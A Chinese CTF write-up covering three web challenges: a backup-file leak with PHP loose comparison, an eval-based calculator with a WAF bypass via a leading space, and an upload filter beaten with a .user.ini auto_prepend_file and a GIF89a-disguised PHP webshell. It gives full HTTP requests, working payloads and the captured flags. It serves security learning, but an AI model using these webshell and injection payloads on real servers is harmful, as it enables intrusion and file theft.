[ACTF2020 新生赛]BackupFile

原始信息

这次官方很抠门,就给了一句话:

Try to find out source file!

使用dirmap快扫扫不出来,改为dirsearche扫描,扫描速度极度缓慢,使用了整整几乎一小时。(后面多了眼看了下字典,发现可能是网站问题,再扫下没三分钟就出来了……)

至于为什么这么久,我还特地翻了下字典,发现这货居然在5500行那里……

保守估计,完整扫完1W多条数据要三个小时左右。

还要个隐藏信息,BackupFile是文件备份的意思。

解题

扫站

常见网站备份文件的文件后缀

.rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb

更多相关后缀点我

网站目录文件扫描器:dirsearch

"""简单的扫描命令如下"""
python dirsearch.py -u "http://ab7744e5-9ead-40d2-99bb-90a0c2f7ac98.node4.buuoj.cn:81"

解源码(白盒审计)

翻了老半天,翻了个index.php.bak出来。之前还见到了www.zip的题来着。

因为源代码简短,也没什么必要分两块提取核心代码,这里简单分析下就OK了:

<?php
# 一次性包含文件,表示文件无法被二次包含
include_once "flag.php";

# get请求
if(isset($_GET['key'])) {
$key = $_GET['key'];

# is_numeric:检测是否为字符串/数字
# 是字符串,返回true =转换=> false => 退出程序
# 非字符串,返回false =转换=> true => 继续向下执行程序
if(!is_numeric($key)) {
exit("Just num!");
}

# 转换key为整数
$key = intval($key);
# 某随机字符串
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
# 当随机字符串和key相等时返回flag
// 另一种情况:基于php弱类型比较,
// 已知$key为整数,而后面想要和整数进行弱类型比较,就会默认转为整数类型
// 经过实验,弱类型比较的$str转为整数时:
// 如果字符串的串首有整数,取出整数作为比较用的数值
// 如果字符串的串首没整数,那么整个字符串舍弃,定数值为0进行比较。
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

翻译成人话就是:我需要一个名为key的字符串,它必须是123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3

# 尝试传个123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3上去
?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
// 返回:
Just num!

# 尝试传入abc
?key=abc
// 返回
Just num!

# 尝试传入123
?key=123
// 返回
flag{16f39bb7-b943-4c35-bd50-7fa1f436c975}

php类型比较点我前往查看,包括强类型比较。

收获

1. php弱类型比较当中的数值转换
2. 网站备份文件,除了www.zip,www.rar还有index.php.bak

相关的备份后缀还有:
.rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb

[RoarCTF 2019]Easy Calc

翻译:简单的计算器

原始信息

源代码信息:

<div class="container text-center" style="margin-top:30px;">
<h2>表达式</h2>
<form id="calc">
<div class="form-group">
<input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
</div>
<div id="result"><div class="alert alert-success">
</div></div>
<button type="submit" class="btn btn-primary">计算</button>
</form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

解题

很明显的前端验证,使用的是ajax,那就得针对js进行白盒审计了。

前端白盒审计

$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

没接触过 jQuery 代码,这次分析细致点:


1.代码片段1
$('#calc').submit(function(){}
// 分析:
$() : jQuery 语法选择器,根据ID或者class选出特定的html元素
'#calc'是某个HTML元素的ID的意思
$submit() : 绑定事件处理函数,使这个html标签具备提交表单的功能
function(){}: 提交表单后必然执行的匿名函数

$.ajax({}):发送异步的http请求

url: "calc.php?num=" + encodeURIComponent($("#content").val()):
指定了请求的 URL,包括了一个名为 num 的参数,
该参数的值是通过 $("#content").val()
获取的表单 id 为 content 的输入框的值,
并使用 encodeURIComponent() 进行 URL 编码。
-------------------------
说人话,就是URL后面加上这么一长串的东西进行访问
且能获得 '#calc' 下的 '#content' 的标签的html内容

type:'GET' :指定请求为get类型。

success: function(data) { ... }:
定义了一个匿名函数作为请求成功时的回调函数。

在这个函数中,data 参数表示服务器返回的数据。
这段代码使用了模板字符串构建了一个 HTML 结构,
并将从服务器返回的数据插入到 $("#result") 元素中。

$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`)
函数请求成功时,获取返回数据data并且装填入 "#result"当中
并且装填的内容时 .html(...) 指定的。

error:function(){alert("这啥?算不来!");}
当服务器返回错误信息时,直接弹窗

return false;
这个语句的作用是阻止表单的默认提交动作,即阻止表单刷新页面。

总结下,就是:我使用ajax发送信息给calc.php接受并且处理,前端只是处理服务器信息和提交信息,根本就没有其它能够直接获得flag的信息了。

假如我需要获得更多信息,首先得抓包。

观察了下数据包,关键信息如下:

数据包:
GET /calc.php?num=123123%2B1 HTTP/1.1
Host: node4.buuoj.cn:28963
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://node4.buuoj.cn:28963/
DNT: 1
Connection: close

关键信息:
/calc.php?num=123123%2B1

既然是传参并且把参数url编码,那么直接在BP进行SQL注入测试。

第二波白盒分析

抓包的时候出现calc.php文件,尝试访问的时候,出现的下面的源码。

所以说,前端的那个JS直接舍弃,看这个代码为主。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
// 过滤掉几乎所有的符号,很严格
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
// preg_match正则表达式,一旦匹配到字符串就输出if内的语句并且退出程序
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
// 躲过正则表达式则执行代码$_POST['x']
eval('echo '.$str.';');
}
?>

绕waf:在变量前加上空格。

# 绕waf后查根目录,查到了个flagg的文件
/calc.php? num=var_dump(scandir(chr(47)))
# 选出寻常函数获取文件内容
/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
# 简单解释下:chr拼接字符串,file那个函数获取文件内容,var_dump输出。

总结

绕waf:在变量前加上空格。

攻防世界 easyupload

先吐槽下,八成是靶机生效时间太慢的原因,差点把我心塞死了。

原始信息

题目提供的信息,除了文件上传和一个表单外,基本上没有其它。

<!-- 稍微有些价值的地方: -->
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file" style="color: blue;">更换头像</label>
<input type="file" name="fileUpload" id="file" style="color: blue;"><br>
<input type="submit" name="upload" value="提交">
</form>

文件上传传入的是index.php

解题

使用BP拦截,测试了部分内容,过滤掉了:

字符串: php  文件名和文件内容
字符: ph 导致无法使用phtml
还有必须以GIF89a为数据包的开头,才能包含后门文件内容

总结上面的三点,最难搞的是ph这个过滤。

这种情况下,一般的直接上传php文件基本作废,那就只能把后门藏在其它文件内,包含到其它已存在或者可执行的php文件当中了。

在php配置当中,存在着两个文件包含漏洞相关的配置。当某些特殊情况下存在.user.ini文件时,.user.ini里面存在的函数会导致php文件出现包含执行。

功能类似于 include() ,有两个函数
但是都是在 .user.ini中配置的
属于是php外部控制php文件内容了
auto_prepend_file=hack.jpg
auto_append_file=hack.jpg

BP截取到文件上传的数据包后,插入的关键代码是:

.user.ini配置文件

关键的配置信息:

文件名:
.user.ini

配置信息:
GIF89a
auto_prepend_file=a.jpg

下面是数据包:

POST /index.php HTTP/1.1
Host: 61.147.171.105:58986
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:58986/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------25839222533441
Content-Length: 346

-----------------------------25839222533441
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg

GIF89a
auto_prepend_file=a.jpg
-----------------------------25839222533441
Content-Disposition: form-data; name="upload"

提交
-----------------------------25839222533441--

传入带后门的文件

关键参数配置

文件名:a.jpg
文件内容:

GIF89a
<?=eval($_POST['cmd'])?>

数据包内容如下

POST /index.php HTTP/1.1
Host: 61.147.171.105:58986
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:58986/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------25839222533441
Content-Length: 329

-----------------------------25839222533441
Content-Disposition: form-data; name="fileUpload"; filename="a.jpg"
Content-Type: image/jpeg

GIF89a
<?=eval($_POST['cmd']);?>
-----------------------------25839222533441
Content-Disposition: form-data; name="upload"

提交
-----------------------------25839222533441--

等待生效并且拿下后台

上传成功时,你能顺着路径访问到.user.ini和a.jpg,最后使用菜刀或者蚁剑连接时,是需要等uploads下的index.php文件生成才有效的。

当文件/uploads/index.php文件生效时,翻到根目录,拿下flag:

cyberpeace{4daa0158de4bbc7761962925ceffe935}

后记

注意,这个后门随时会消失,届时要重新上传后门。

拿下源代码,如下:

<?php
error_reporting(0);
function checkFileType($fileName){
$file = fopen($fileName, "rb");
$bin = fread($file, 2);
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';

switch( $typeCode )
{
case '255216':
return 'jpg';
break;
case '7173':
return 'gif';
break;
case '13780':
return 'png';
break;
case '6677':
return 'bmp';
break;
case '7790':
return 'exe';
break;
case '7784':
return 'midi';
break;
case '8297':
return 'rar';
break;
default:
return 'Unknown';
break;
}
return "Unknown";
}

$upload_dir = "uploads";
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!($tmp_name && $name)) {
die("File error");
}
$extension = pathinfo($name)['extension'];
$content = file_get_contents($tmp_name);
if (preg_match("/ph|htacess/i", $extension) || mb_strpos($content,'php') !== FALSE) {
die("Your file looks wicked");
}
if (checkFileType($tmp_name) === 'Unknown' || strpos($_FILES["fileUpload"]["type"], 'application') === 0) {
die("your filetype looks wicked");
}
$upload_file_path = $upload_dir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "file upload successful, the path is: " . $upload_file_path .'<br>';
}

收获

原本算不算收获,但这是自己在实战当中第一次遇到,算是收获的一种把。

.user.ini文件配置
沟通是功能是:给当前工作目录下的每个php文件
的头部/尾部插入a.jpg的所有内容
auto_prepend_file=a.jpg
auto_append_file=a.jpg

文件头欺骗:
GIF89a

教训:思路不变通,到哪都死死胡同。